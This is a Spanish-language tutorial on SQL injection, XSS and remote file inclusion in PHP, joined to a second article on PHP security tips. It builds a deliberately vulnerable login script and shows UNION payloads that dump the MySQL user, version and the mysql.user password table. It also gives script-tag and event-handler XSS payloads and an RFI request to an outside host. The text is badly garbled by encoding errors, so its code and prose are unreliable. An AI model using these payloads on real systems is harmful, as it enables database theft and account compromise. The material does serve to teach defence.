Introduccin a los ataques SQL Injection

Para explicar las inyecciones SQL voy a presuponer que se tienen ciertos conocimientos de
desarrollo de aplicaciones web utilizando un lenguaje del lado del servidor como PHP, as
como el uso de SQL para realizar consultas a una base de datos ySQL! "n primer lugar
veremos una explicaci#n te#rica sobre los ataques SQL $njection! %espu&s un ejemplo
pr'ctico de como aprovec(arse de esta vulnerabilidad para extraer in)ormaci#n de la base de
datos y por *ltimo veremos como podemos proteger nuestras aplicaciones de este tipo de
ataques!
Teora sobre los ataques SQL Injection
Los ataques SQL $njection explotan una vulnerabilidad en la validaci#n de las entradas a la
base de datos de una aplicaci#n! +na inyecci#n SQL consiste en inyectar un c#digo SQL
invasor dentro de otro c#digo SQL para alterar su )uncionamiento normal (aciendo que se
ejecute el c#digo invasor en la base de datos!
La mayora de aplicaciones webs consisten en un conjunto de operaciones con la base de
datos, por ejemplo, en un )oro para crear nuevos comentarios se insertan registros en la
base de datos y para listar las entradas se seleccionan registros en la base de datos! "stas
operaciones reciben el nombre de CRUD ,-reate, .etrieve, +pdate y %elete/! Las
aplicaciones son un conjunto de m#dulos separados que interaccionan entre s a trav&s de los
enlaces y los )ormularios! Por lo tanto es normal que el desarrollador enlace las distintas
p'ginas utilizando variables que despu&s utilizar' para (acer las consultas pertinentes a la
base de datos!
0amos a ver un ejemplo te#rico para que quede claro como )uncionan la mayora de las
aplicaciones 1eb! $maginaros que entr'is al ndice principal de un )oro donde podes ver cada
categora! Si quer&is ver las entradas de cierta categora pulsareis sobre el enlace y os
mostrar' las primeras entradas paginadas!
La +.L del enlace podra ser algo as ,es )icticia, no entreis/2
http://www.miforoinventado.com/viewforum.php?cat=3
$nternamente el desarrollador realizar' una consulta a la tabla de entradas y seleccionar'
aquellas cuya categora tenga un id igual a tres! La consulta podra ser algo as2
$consulta = 'SELECT * FROM entrada
WHERE entrada.id_categoria = '.$_ET!'cat'".
' OR#ER $% entrada.&ec'a (SC
L)M)T *+*,'-
"sta consulta es vulnerable a ataques SQL $njection! "l desarrollador est' presuponiendo que
nadie va a alterar los datos de entrada de la variable cat y la utiliza en la consulta sin (aber
pasado antes algunos )iltros para evitar las inyecciones SQL! Por lo que podemos decir que
este tipo de vulnerabilidad est' presente en aquellas consultas que con)an en los datos de
entrada del usuario y como ya (emos dic(o muc(simas veces, una regla )undamental del
desarrollo de aplicaciones web es nunca con)iar en las entradas de los datos del usuario, ya
que podran verse alteradas, ya sea porque el usuario es un crac3er que se quiere divertir o
porque el gato del usuario se aburre y se (a puesto a caminar por encima del teclado!
Ejemplo prctico de ataque SQL Injection
0amos a ver un ejemplo sencillo para practicar las inyecciones SQL! 4ntes de empezar con
los ataques SQL $njection, nos preparamos un entorno seguro de pruebas2
5! -onectamos el servidor web 4pac(e y el servidor ySQL!
6! -reamos una base de datos llamada inyeccion!
CREATE DATABASE in.eccion-
USE in.eccion-
7! -reamos una tabla usuario donde se almacenar'n los nombres de usuario con las
contrase8as de todos los usuarios que utilizen nuestra aplicaci#n!
CREATE TABE usuario
/
id )0T/*12 U!S"#!ED !$T !U AUT$%"!CRE&E!T 'R"&AR( )E(+
login 3(RCH(R/4,2 !$T !U+
5ass6ord 3(RCH(R/1,2 !$T !U+
e7ail 3(RCH(R/1,2 !$T !U
2-
9! .ellenamos la tabla con datos de prueba!
"!SERT "!T$ usuario
*AUES /!U+ '&rancisco'+ '5ass6ord_&rancisco'+ 'e7ail_&rancisco'2+
/!U+ '8ose'+ '5ass6ord_8ose'+ 'e7ail_8ose'2+
/!U+ '8ulia'+ '5ass6ord_8ulia'+ 'e7ail_8ulia'2+
/!U+ 'este&ania'+ '5ass6ord_este&ania'+ 'e7ail_este&ania'2+
/!U+ '5a9lo'+ '5ass6ord_5a9lo'+ 'e7ail_5a9lo'2-
:! %esarrollamos un script PHP de prueba para inyecciones! 4lgo sencillo, por ejemplo, un
)ormulario de inicio de sesi#n que le pida al usuario su id y le muestre al usuario la
in)ormaci#n que la aplicaci#n dispone de &l, es decir, su id, su login y su email!
:'t7l;
:'ead;
:title;S<L )n8ection:=title;
:='ead;
:9od.;
:&or7 action=>in.ecciones.5'5> 7et'od=>get>;
:la9el &or=>id>;)#? :=la9el;
:in5ut t.5e=>te@t> id=>id> na7e=>id> =;
:in5ut t.5e=>su97it> Aalue=>)niciar> =;
:=&or7;
+?php
i&/ isset/$_ET!'id'"2 2
B
$id = $_ET!'id'"-
$7.sCli = new 7.sCli/'local'ost'+ 'root'+ ''2-
$7.sCliD;select_d9/'in.eccion'2-
$consulta = 'SELECT * FROM usuario WHERE id='.$id-
ec'o $consulta.':9r =;'-
$resultado = $7.sCliD;Cuer./$consulta2-
$usuario = $resultadoD;&etc'_ro6/2-
ec'o '#(TOS #EL ESE(R)O? :9r =;'-
ec'o ')#? '.$usuario!,".':9r =;'-
ec'o 'LO)0? '.$usuario!*".':9r =;'-
ec'o 'EM()L? '.$usuario!4".':9r =;'-
$resultadoD;&ree/2-
$7.sCliD;close/2-
F
?,
:=9od.;
:='t7l;
-omo nosotros (emos sido los que (emos desarrollado el c#digo de prueba sabemos que la
consulta es vulnerable a inyecciones SQL porque no )iltra los datos de entrada! Lo normal es
no disponer del c#digo y realizar inyecciones a ciegas, lo que se conoce como Blind SQL
Injection.
4ntes de nada vamos a ver como )unciona nuestro peque8o script accediendo a &l desde el
navegador2
$ntroducimos algunos datos de prueba2
Pulsamos el bot#n $niciar y vemos que nos muestra de nuevo el )ormulario para seguir
(aciendo pruebas, la consulta que se (a ejecutado en el servidor ySQL y los datos que (a
recuperado esa consulta, el id, el login y el email2
;ijaros atentamente en la barra de direccin del navegador que es desde donde
vamos a realizar las inecciones! en nuestro ejemplo tambi&n podramos inyectar desde
el )ormulario porque estamos utilizando el m&todo <"= de H==P para pasar los datos al
servidor!
http://-oca-ho.t/prue/a./in0eccione..php?id=1
Comprobando si la aplicacin es vulnerable a SQL Injection:
Para comprobar si la aplicaci#n es vulnerable a SQL $njection lo normal es probar alguna
inyecci#n SQL b'sica para ver lo que sucede!
http://-oca-ho.t/prue/a./in0eccione..php?id=1 and 1=1 33
SEECT 4 5R$& u.uario 67ERE id=1 and 1=1 33
DAT$S DE USUAR"$:
"D: 1
$#"!: franci.co
E&A": emai-%franci.co
-omo podemos observar (emos inyectado nuestro primer c#digo SQL en la consulta y nada
(a cambiado, sigue )uncionando de la misma manera! Sino )uera porque mostramos la
consulta que se ejecuta en el servidor todava no sabramos si la aplicaci#n es vulnerable
dado que sigue )uncionando de la misma )orma! "sto es as porque simplemente (emos
a8adido una condici#n a la selecci#n que siempre se va a cumplir, puesto que uno es igual a
uno! Los dos guiones se utilizan para comentar todo lo que venga despu&s de la consulta!
Para comprobar si es vulnerable a8adimos una condici#n que nunca se cumple y vemos que
es lo que sucede!
http://-oca-ho.t/prue/a./in0eccione..php?id=1 and 1=8 33
SEECT 4 5R$& u.uario 67ERE id=1 and 1=8 33
DAT$S DE USUAR"$:
"D:
$#"!:
E&A":
"#UR#$%& =enemos una aplicaci#n vulnerable a SQL $njection, aunque ya lo sabamos desde
un principio! 0emos que al a8adir una condici#n que nunca se va a cumplir, puesto que uno
nunca va a ser igual a cero, la consulta no devuelve ning*n registro y no muestra ning*n
dato por pantalla!
Extraendo datos:
>a sabemos que nuestra aplicaci#n es vulnerable a las inyecciones SQL! "n primer lugar
vamos a extraer el n*mero de columnas que tiene la tabla usuario! Para poder saber el
n*mero de columnas vamos a jugar con la opci#n ?.%". @> de la sentencia S"L"-=! La
cuesti#n es que si intentamos ordenar los registros que seleccionamos por un n*mero mayor
de las columnas que tengamos la consulta no devolver' ning*n registro dado que se
producir' un error )atal y se abortar' la ejecuci#n del script!
http://-oca-ho.t/prue/a./in0eccione..php?id=1 order /0 1 33
SEECT 4 5R$& u.uario 67ERE id=1 order /0 1 33
DAT$S DE USUAR"$:
"D: 1
$#"!: franci.co
E&A": emai-%franci.co
http://-oca-ho.t/prue/a./in0eccione..php?id=1 order /0 9 33
SEECT 4 5R$& u.uario 67ERE id=1 order /0 9 33
DAT$S DE USUAR"$:
"D: 1
$#"!: franci.co
E&A": emai-%franci.co
http://-oca-ho.t/prue/a./in0eccione..php?id=1 order /0 3 33
SEECT 4 5R$& u.uario 67ERE id=1 order /0 3 33
DAT$S DE USUAR"$:
"D: 1
$#"!: franci.co
E&A": emai-%franci.co
http://-oca-ho.t/prue/a./in0eccione..php?id=1 order /0 : 33
SEECT 4 5R$& u.uario 67ERE id=1 order /0 : 33
DAT$S DE USUAR"$:
"D: 1
$#"!: franci.co
E&A": emai-%franci.co
http://-oca-ho.t/prue/a./in0eccione..php?id=1 order /0 ; 33
SEECT 4 5R$& u.uario 67ERE id=1 order /0 ; 33
5ata- error: Ca-- to a mem/er function fetch%row<= on a
non3o/>ect in C:?wamp?www?prue/a.?in0eccione..php on -ine 9@
Hemos descubierto que la tabla usuario ,aunque nosotros no sabemos todava que la tabla
se llama usuario/ tiene 9 columnas, puesto que con ?.%". @> : se produce un error )atal!
He activado la directiva display_errors en la con)iguraci#n de PHP para que muestre los
errores )atales que se producen!
!bteniendo in"ormacin del servidor:
4ntes de comenzar a extraer in)ormaci#n del servidor ySQl tenemos que explicar la
sentencia U'I(' para unir consultas! Auestro script est' programado para ejecutar las
sentencias SQL de una en una, es decir, no podemos ejecutar m*ltiples sentencias a la vez,
por eso nos valemos de la sentencia U'I(' que se encarga de unir los resultados de dos o
m's consultas! Solo (ay un inconveniente, que todas las sentencias S"L"-= que unamos con
U'I(' deben de utilizar el mismo n*mero de columnas, )or eso *emos e+tra,do el
n-mero de columnas anteriormente.
http://-oca-ho.t/prue/a./in0eccione..php?id=31 U!"$! SEECT 1A9A3A:
SEECT 4 5R$& u.uario 67ERE id=31 U!"$! SEECT 1A9A3A:
DAT$S DE USUAR"$:
"D: 1
$#"!: 9
E&A": :
Qu& estamos (aciendoB Hemos unido dos consultas, una que no devuelve ning*n dato
porque no existe ning*n usuario con identi)icador negativo, y una consulta que devuelve un
5, un 6, un 7 y un 9! %e esta )orma vemos como se muestran los datos de la segunda
consulta, en concreto, se muestra un 5, un 6 y un 9! 4(ora podremos sustituir esos tres
n*meros en nuestra consulta para extraer in)ormaci#n del servidor ySQL!
Podemos utilizar algunas )unciones para extraer in)ormaci#n2
o user./2 %evuelve el usuario de la base de datos!
o version./0 %evuelve la versi#n del servidor ySQL!
o database./0 %evuelve el nombre de la base de datos actual!
o current1user./0 %evuelve el nombre de usuario y el del (ost para el que est'
autenticada la conexi#n!
o last1insert1id./0 %evuelve el *ltimo valor generado autom'ticamente que )ue insertado
en una columna 4+=?C$A-.""A=!
o connection1id./0 %evuelve el $% de una conexion!
http://-oca-ho.t/prue/a./in0eccione..php?id=31 U!"$!
u.er<=Adata/a.e<=A3Aver.ion<=
SEECT 4 5R$& u.uario 67ERE id=31 U!"$! SEECT
u.er<=Adata/a.e<=A3Aver.ion<=
DAT$S DE USUAR"$:
"D: rootB-oca-ho.t
$#"!: in0eccion
E&A": ;.1.3C3communit03-oD
>a tenemos el usuario que estamos utilizando para acceder a la base de datos, y mira que
suerte, es root, as que seguramente tengamos todos los privilegios asignados para (acer
todo lo que queramos! =ambi&n tenemos el nombre de la base de datos, inyeccion, y adem's
la versi#n ySQL que estamos utilizando :!5!7DEcommunityElog! -on todos estos datos ya
podramos empezar a (acer cosas interesantes, pero no va de eso este artculo!
Sigamos extrayendo in)ormacion!
http://-oca-ho.t/prue/a./in0eccione..php?id=31 U!"$! SEECT
current%u.er<=A-a.t%in.ert%id<=A3Aconnection%id<=
SEECT 4 5R$& u.uario 67ERE id=31 U!"$! SEECT
current%u.er<=A-a.t%in.ert%id<=A3Aconnection%id<=
DAT$S DE USUAR"$:
"D: rootB-oca-ho.t
$#"!: 8
E&A": ::
Lo normal cuando encontramos una vulnerabilidad de este estilo es extraer un usuario y una
contrase8a para acceder remotamente al servidor y ya desde un entorno m's sencillo, como
una lnea de comandos, obtener toda la in)ormaci#n que queramos!
ySQL cuenta con una base de datos interna llamada msql! %entro de esta base de datos
almacena los usuarios y las contrase8as en una tabla llamada users! Por lo tanto podemos
obtener esta in)ormaci#n inyectando una sentencia SQL2
http://-oca-ho.t/prue/a./in0eccione..php?id=31 U!"$! .e-ect ho.tA
u.erA 3A pa..word from m0.E-.u.er
SEECT 4 5R$& u.uario 67ERE id=31 U!"$! .e-ect ho.tA u.erA 3A pa..word
from m0.E-.u.er
DAT$S DE USUAR"$:
"D: -oca-ho.t
$#"!: root
E&A":
0emos que el usuario es root, el servidor est' en local(ost dado que est' en mi ordenador,
pero aqu obtendrais la direcci#n ip o el nombre de dominio donde estuviera alojado el
servidor, y por *ltimo que no tiene contrase8a! "2%3% S#4URID%D& Si tuviera contrase8a
os dara un (as( que tendras que crac3ear utilizando por ejemplo el Fo(n =(e .ipper!
4(ora podemos conectarnos remotamente en el puerto 5567 que es el que suele usar
ySQL por de)ecto y obtener todos los datos que queramos! Si no podemos acceder
remotamente desde la lnea de comandos podemos seguir extrayendo in)ormaci#n mediante
inyecciones (aciendo uso de las tablas mysql e in)ormationCsc(ema!
#rote$iendo nuestras aplicaciones de ataques SQL Injection:
"ste tipo de vulnerabilidades son muy peligrosas y (ay que aprender a protegerse de ellas!
Hay muc(os trucos para pon&rselo m's di)cil a los atacantes! +na de las mejores soluciones
es utilizar la )unci#n msql1real1esca)e1string./ que se encarga de escapar los
caracteres especiales utilizados en las consultas SQL, o utilizar el
m&todo real1esca)e1string./ si utilizamos la versi#n orientada a objetos!
Podemos utilizar este m&todo para escapar los strings que se pasen a las consultas SQL pero
si utilizamos datos num&ricos en vez de cadenas podemos comprobar que el dato de entrada
es un n*mero entero o es un n*mero decimal, ya sea mediante las )unciones is1int./ o
is18loat./ o realizando castings .int/! .8loat/!
0amos a ver un ejemplo de consulta SQL que no es vulnerable a inyecciones SQL2
$consulta= 'SELECT *
FROM categoria
WHERE id_categoria=?F'./int2$_ET!'id'".'?F'-
$consulta= 'SELECT *
FROM categoria
WHERE titulo=?F'.7.sCl_real_esca5e_string/$_ET!'titulo'"2.'?F-
%e esta )orma protegemos nuestras aplicaciones de todo tipo de inyecciones SQL!
%ES&'E(:
"A este artculo (emos visto que peligroso puede ser este tipo de vulnerabilidades en
nuestras aplicaciones ya que mediante inyecciones SQL pueden obtener todos los datos que
quieran de nuestra base de datos, incluso de )ic(eros alojados en el servidor! Hemos
practicado un poco con un ejemplo muy sencillo! Pod&is seguir practicando con el mismo
ejemplo y extraer todos los datos que querais de las tablas mysql e in)ormationCsc(ema,
desde el nombre de todas las tablas de la base de datos, nombres de las columnas, registros
de las tablas, etc!
Introduccin a los ataques XSS
Los ataques GSS, -rossESite Scripting est'n basados en la explotaci#n de una vulnerabilidad
del sistema de validaci#n H=L! -onsisten en inyectar c#digo FavaScript en el interior de un
documento H=L, por esto a veces se le conoce con el nombre de H=L $njection!
"sto es posible debido a que no se )iltran correctamente los datos de entrada que se pasan a
la aplicaci#n! -omo dije en el anterior artculo dedicado a los ataques .;$, la principal medida
de seguridad a tener en cuenta cuando desarrollamos una aplicaci#n web es nunca con)iar en
los datos que puedan modi)icar los usuarios, aquellos que se pasan por la +.L, e incluso los
que se pasan mediante )ormularios!
Tipos de )SS
9:SS indirecto ,se le conoce como re)lejado/2 "ste tipo de GSS es m's )recuente
encontrarlo en las aplicaciones web! "l c#digo FavaScript que se incrusta en el documento
H=L no es persistente en el tiempo, es decir, solo a)ecta al usuario que utiliza el navegador!
Hace unos meses sali# en la prensa un posible ataque a la web de la Presidencia "uropea de
"spa8a en la que apareca la imagen de r!@ean simulando que la p'gina (aba su)rido un
de)ace!
Pero realmente (aba su)rido un ataque de GSS indirecto, en la que el autor se aprovec(aba
del buscador de la p'gina para incrustar un script de FavaScript que cargara la imagen en la
respuesta de la b*squeda!
0eamos un ejemplo m's sencillo de una aplicaci#n vulnerable a estos ataques! La siguiente
miniEaplicaci#n web contiene un )ormulario que simula a un buscador! 4unque realmente lo
*nico que (ace es imprimir en el navegador el texto que (as introducido! +n ejemplo m's
sencillo es imposible!
Archivo index.php
+htm-,
+head,
+tit-e,$uscador Aulnera9le+/tit-e,
+/head,
+/od0,
+form method=>get> action=>9uscador.5'5>,
+input t0pe=>te@t> name=>9uscar>,
+input t0pe=>su97it> va-ue=>$uscar>,
+/form,
+//od0,
+/htm-,
Archivo buscador.php
:'t7l;
:'ead;
:title;$uscador Aulnera9le:=title;
:='ead;
:9od.;
ec'o 'Estas 9uscando?'.$_ET!'9uscar'"-
:=9od.;
:='t7l;
Los di)erentes cambios de coloreado de sintaxis se debe a que uso un coloreador de c#digo
del lenguaje de programaci#n! "n el primer caso estoy coloreando H=L puro, y en el
segundo PHP!
-uando el usuario introduce una cadena de texto y pinc(a en el bot#n de b*squeda se llama
a buscador.)*) pasando una variable por la +.L de nombre buscar! 4s que puede pasar
dos cosas!
5! Que el usuario busque una cadena de texto normal y todo )uncione correctamente! Por
ejemplo, el usuario introduce coches de segunda mano y pinc(a en el bot#n de b*squeda! La
p'gina cargada contendr' el siguiente c#digo H=L2
*tt)0;;<<<.servidorvulnerable.com;buscador.)*)=buscar>coc*es?@6de
?@6segunda?@6mano
+htm-,
+head,
+tit-e,$uscador Aulnera9le+/tit-e,
+/head,
+/od0,
Estas 9uscando?coc'es de segunda 7ano
+//od0,
+/htm-,
%es esta )orma el usuario sin darse cuenta (a incrustado c#digo H=L en la p'gina cargada!
-laro esta que en este ejemplo el c#digo es una simple cadena de texto ino)ensiva!
6! Que el usuario manipule los datos de entrada para introducir un script en FavaScript! Por
ejemplo el usuario introduce <script>alert(XSS)</script>. La p'gina cargada contendr' el
siguiente c#digo H=L2
*tt)0;;<<<.servidorvulnerable.com;buscador.)*)=buscar>Ascri)tBalert.:SS/A
?@Cscri)tB
+'t7l,
+'ead,
+title,$uscador Aulnera9le+/title,
+/'ead,
+9od.,
Estas 9uscando:+scri5t,alert<GGagina HacHeadaI=+/scri5t,
+/9od.,
+/'t7l,
%e esta )orma incrustamos un script FavaScript con la )inalidad de mostrar una alerta en el
navegador con la cadena GSS! Aos (emos aprovec(ado de la )alta de control de los campos
de entrada para introducir un peque8o script! %e esta )orma podemos ejecutar un simple
script como una alerta, o un script malicioso para robar las coo3ies del usuario, o incluso
podemos redireccionar a una p'gina web con scripts ocultos que se ejecuten al visitarla!
"ste tipo de ataque solo se ejecuta en el navegador de la vctima! Lo primero es crear el
enlace manipulado y mediante enga8os (acer que la vctima lo siga, ya sea publicando el
enlace manipulado en redes sociales, como en el caso de r!@ean o mediante correo
electr#nico! 4qu entra en juego la llamada ingenier,a social para motivar a la vctima a que
siga el enlace con)iando en ti!
E:SS directo ,se le conoce como persistente/2 "ste tipo de GSS es persistente a la
aplicaci#n ya que el c#digo a ejecutar se queda en el repositorio de datos, ya sea base de
datos, o )ic(eros! "n este caso no (ace )alta enviar a la vctima un enlace manipulado ya que
todos los usuarios de la aplicaci#n se convierten en vctima a)ectadas!
Suele encontrarse en aplicaciones donde se permitan subir datos, por ejemplo, en un libro de
visitas, en )orma de comentarios!
>a sea en uno de los dos tipos di)erentes de ataques GSS se pueden ejecutar scripts entre las
etiquetas Ascri)tB A;scri)tB, aunque tambi&n puede ejecutarse c#digo FavaScript dentro
de otras etiquetas H=L!
"jemplo2
Aa *re8>Djavascri)t0EcdigoFGB
Adiv onmouseover>Djavascri)t0EcdigoFGB
Aimg src>Djavascri)t0EcdigoFGB
Aimg dnsrc>Djavascri)t0EcdigoFGB
Ain)ut t)e>DimageD dnsrc>Djavascri)t0EcdigoFGB
"n resumen, no solo es )osible ejecutar cdigo a travHs de la etiqueta HscriptI sino
tambiHn a travHs de los eventos que se )ueden )roducir en los elementos IJKL, as
como en el destino de etiquetas como AaB y AimgB!
Cmo podemos proteger nuestras aplicaciones de este tipo de ataques?
"n un primer momento, podemos pensar en )iltrar las etiquetas Ascri)tB, pero no servira
de nada porque (emos visto que se pueden ejecutar scripts a trav&s de otras etiquetas!
"n segundo lugar podramos pensar en )iltrar los caracteres < y > con alguna )unci#n como
str1re)lace o utilizar *tmlentities para trans)ormar las entidades H=L2
str_re5lace/arra./':'+ ';'2+ ''+ $_ET!'9uscar'"2-
't7lentities/$_ET!'9uscar'"2-
La soluci#n usando str1re)lace no es una buena soluci#n ya que el usuario puede modi)icar
esos caracteres por sus equivalentes en c#digo 4S-$$ anteponiendo el smbolo J y su
car'cter (exadecimal!
La soluci#n utilizando *tmlentities empieza a ser una buena soluci#n, ya que convierte
todos los caracteres H=L en entidades! Pero esta )unci#n por de)ecto no )iltra las comillas
simples, que tambi&n pueden utilizarse para ataques GSS!
%s, que la mejor solucin es utilizar la 8uncin *tmls)ecialc*ars, una )unci#n muy
parecida a *tmlentities pero que s )iltra las comillas simples, siempre que se pasa como
segundo argumento #'J1QU(J#S!
't7ls5ecialc'ars/$_ET!'9uscar'"+ E0T_<EOTES2-
Introduccin a los ataques RFI
Los ataques .;$, .emote ;ile $nclusion, permite incluir arc(ivos remotos desde otro servidor
debido a la utilizaci#n err#nea de las )unciones para incluir arc(ivos en PHP, como require./!
include./! include1once./! require1once./.
Tu PHP es seguro? Tips y
herramientas para asegurar
tu sitio
PHP, SEGURIDD, I!"ER!E", C#!SE$#S, HC%ER, E&P'#I"
A pesar de que
muchos programadores y desarrolladores puede que estn
implementando PHP en sus sitios, el tema referente a laseguridad es a
menudo dejado de lado cuando se construye nuestra web.
El cdigo PHP es un lenguaje que funciona an con cabos sueltos.
Loshackers buscan esos cabos, y en PHP, no son muy difciles de encontrar. En
esta nota te contamos cmo encontrarlos primero para poder repararlos.
La seguridad !"! in#olucra la minimi$acin de los errores de programacin, y la
colocacin del cdigo apropiado en su lugar para eliminar toda posible
#ulnerabilidad.
%ipos de Ataque
E&isten #arios tipos de ataque diferente a los que !"! es particularmente
#ulnerable. Los dos tipos principales son' ataques humanos y ataques autom(ticos.
Ambos pueden potencialmente de#astar un sitio web.
El tipo m(s comn de ataques humanos son molestias menores y suelen ser
comunes en sitios de almacenamiento de archi#os y foros, tales como el abuso de la
poltica de almacenamiento, difamacin, que se dan en sitios como Ama$on o
)ahoo Answers, y otros abusos similares que no necesariamente in#olucran la
manipulacin del cdigo de tu sitio.
Los humanos tambin pueden detectar huecos de seguridad que les permite
acceder a tu cdigo fuente y utili$arlo maliciosamente. Esto puede potencialmente
causar da*o sustancial en tu sitio, por lo que ste es el tipo de ataque humano en el
que deberas concentrarte.
Los ataques automati$ados son particularmente peligrosos debido a su eficiencia en
el uso de script autom(ticos para reali$ar estragos en tu sitio de mucha maneras
distintas. Estos ataques puede que hagan lenta tu p(gina, accedan a errores de
loggeo, manipulen el cdigo fuente o comprometan a informacin sensible. Los
ataques automati$ados m(s usuales son los #irus y gusanos, los cuales tienen una
mnima diferencia entre s pero se asemejan en el gran da*o que pueden reali$ar a
tu web.
La meta de la seguridad !"! es minimi$ar y eliminar ambos de estos posibles
ataques al ponerinplace lneas estratgicas de defensa para eliminar el acceso a tu
sitio de usuarios no+#erificados.
Las #ulnerabilidades de seguridad !"! m(s comunes
Los hac,ers e&perimentados conocen las fallas de seguridad m(s usuales que deben
buscar en !"!, por lo que es importante encargarse de este tema antes que nada.
1. Register_lobals
-egister./lobals hace que escribir aplicaciones !"! sea simple y con#eniente para
el desarrollador pero tambin causa un riesgo de seguridad potencial. Esta
propiedad est( locali$ada en el archi#o de configuracin de !"!, el cual se llama
php.ini, y este puede ser tanto acti#ado como desacti#ado. Al acti#arlo, se permite
que los usuarios no+#erificados inyecten #ariables en una aplicacin para ganar
acceso administrati#o a tu web. La mayora de los e&pertos !"! recomiendan
desacti#ar register.globals.
!or ejemplo, miren el snippet que sigue. 0n usuario podra a*adir el final de la url
de una p(gina 1admin23 para b(sicamente for$ar la entrada a (reas administrati#as
que normalmente requeriran una contrase*a.
4on register.globals desacti#ado, este tipo de entrada for$ada no es posible. La
buena noticia es que !"! 5.6.7 posee register.globals desacti#ado por defecto y
!"! 8.7.7 ha directamente ha remo#ido esta funcin.
!or lo que en lugar de confiar en register.globals, en su lugar deberas utili$ar las
#ariables !"! predefinidas tales como 9.-E:0E;%. !ara asegurar m(s el sitio,
tambin deberas especificar utili$ando' 9.E<=, 9./E%, 9.!>;%, 9.4>>?@E, o
9.;E-=E- en lugar de utili$ar el m(s general 9.-E:0E;%.
!. Reporte de error
-eporte de error es una gran herramienta para el diagnstico de bugs,
permitindote arreglarlos f(cil y r(pidamente, pero tambin pone en juego temas
de seguridad. El problema sucede cuando el error es #isible a los otros en la
pantalla, porque re#ela posibles agujeros de seguridad en el cdigo de los cuales un
hac,er puede tomar pro#echo sin problemas.
;i display.errors no est( desacti#ado o posee como #alor A7B, el resultado del
e&amen aparecer( en el na#egador del usuario finalC y eso no es nada bueno para
la seguridad. ;in embargo, debes acti#ar log.errors y luego indicar la locacin
e&acta del log con error.log.
Dchale un #ista$o a la tabla de !"!Erea,s.com que est( a continuacin, que se*ala
las propiedades recomendadas tanto para la instancia de de produccin como de
desarrollo de aplicaciones web !"!.
". #ross$%ite %cripting &'%%(
4ross+site scripting, o F;;, es una forma de que los hac,ers renan informacin de
tu sitio web utili$ando mar,up malicioso o cdigo Ga#a;cript para enga*ar al
usuario, o a su na#egador, para que sigan un lin, malo o presenten sus detalles de
login o un panel de login falso y as robar su informacin personal. La mejor forma
de defensa ante F;; es deshabilitar Ga#a;cript y las im(genes al surfear la web,
pero todos sabemos que eso es algo casi imposible con tantos sitios webs utili$ando
aplicaciones Ga#a;cript hoy en da.
!ara defenderte contra los ataques F;;, necesitas ser proacti#o, no esperes a que tu
sitio sea atacado para actuar. !or ejemplo, las aplicaciones !"! que utili$an
formularios de sumisin, o peticiones !>;%, son mucho menos #ulnerables que las
peticiones /E%. !or lo que es importante que detectes que #ariables y acciones
ser(n permitidas como #alores /E%, y tambin cuales #ienen por medio de #alores
!>;%. En un nutshell, la defensa contra F;; in#olucra el control de las entradas de
usuarios a tu sitio. Hebes asegurarte que stas pasen a tra#s de un proceso de filtro
para que no posean cdigo malicioso.
0n ejemplo del filtro de las entradas de usuario se puede encontrar en el snippet de
cdigo que dejamos a continuacin tomado de Pro PHP Security por4hris ;nyder
yIichael ;outhwell.
Esta pie$a de cdigo relati#amente directa permite que html y Ga#ascript sean
embebidos en la entrada, lo que determina que la misma sea completamente
segura. Esto es especialmente til en las secciones de comentarios de blogs, foros u
otras aplicaciones web que reciben entradas.
>tra cosa til para proteger contra F;; es una funcin !"! llamada htmlentities().
Esta funcin simple con#ierte todos los caracteres en html a sus entidades
correspondientes, tales como AJK se con#ertira AJK.
). *nclusin de archi+o remoto &R,*(
Este tipo de ataque es relati#amente desconocido entre desarrolladores, lo que hace
que sea especialmente da*ino. La inclusin de archi#o remoto, o -E@, in#olucra un
ataque de una locacin remota que e&plora una aplicacin !"! #ulnerable e inyecta
cdigo malicioso para lograr spamming o incluso acceso a la carpeta ruta del
ser#idor. 0n usuario no+#erificado que gana acceso a cualquier ser#idor puede
causar problemas mayores en un sitio de distintas formas, incluyendo el abuso de
informacin personal almacenada en las bases de datos.
0n buen ejemplo de un ataque -E@ se puede encontrar en PHP,reaks.com. Aqu
hay un ejemplo de esa p(gina'
@maginen que en http'LLe&ample.comLmalice.php e&iste un archi#o y nuestro script
est( locali$ado en http'LLsite.comLinde&.php. El atacante har( esta peticin'
http'LLsite.comLinde&.php1page2http'LLe&ample.comLmalice. Este archi#o se
ejecutar( al ser incluido y escribir( un nue#o archi#o en el disco.
La mejor forma de asegurar tu sitio de los ataques -E@ es a tra#s de las directi#as
php.ini + Especificamente, las directi#as allow.url.fopen y el allow.url.include. La
directi#a allow.url.fopen esta acti#ada por defecto, y allow.url.include est(
desacti#ada. Estas dos directi#as simples proteger(n adecuadamente tu sitio de
cualquier ataque -E@.
>tras herramientas de seguridad !"!
;i bien la mejor forma de asegurar las aplicaciones web !"! es a tra#s y
monitoreo constante de tu sitio, e&isten otras herramientas tiles que pueden
ayudar a reconocer las #ulnerabilidades en tu cdigo !"!. Aqu hay tres
herramientas tiles que pueden resultar beneficiosas para los desarrolladores !"!'
Php%ec*n-o
Esta herramienta reporta informacin de seguridad en el ambiente !"!, y lo mejor,
ofrece sugerencias para mejorar los errores. ;e puede descargar bajo la licencia
A<ew M;HK, y el proyecto !hp;ec@nfo busca constantemente desarrolladores !"!
para mejorar esta herramienta.
Hescarga !hp;ec@nfo Aqu
PHP %ecurity %canner
Esta herramienta se utili$a para escanear cdigo !"! para #ulnerabilidades, y se
puede usar para escanear cualquier directorio. !"! ;ecurity ;canner presenta una
muy pr(ctica 0@ para mejorar la #isuali$acin de potenciales problemas.
Hescarga !"! ;ecurity ;canner Aqu
%pike PHP %ecurity .udit Tool
La herramienta de seguridad ;pi,e !"! Audit es una solucin de cdigo abierto
para reali$ar an(lisis est(ticos de cdigo !"!. Muscar( problemas de seguridad,
para que puedas corregirlos durante el proceso de desarrollo.
Hescarga ;pi,e !"! ;ecurity Audit %ool
Euente' <oupe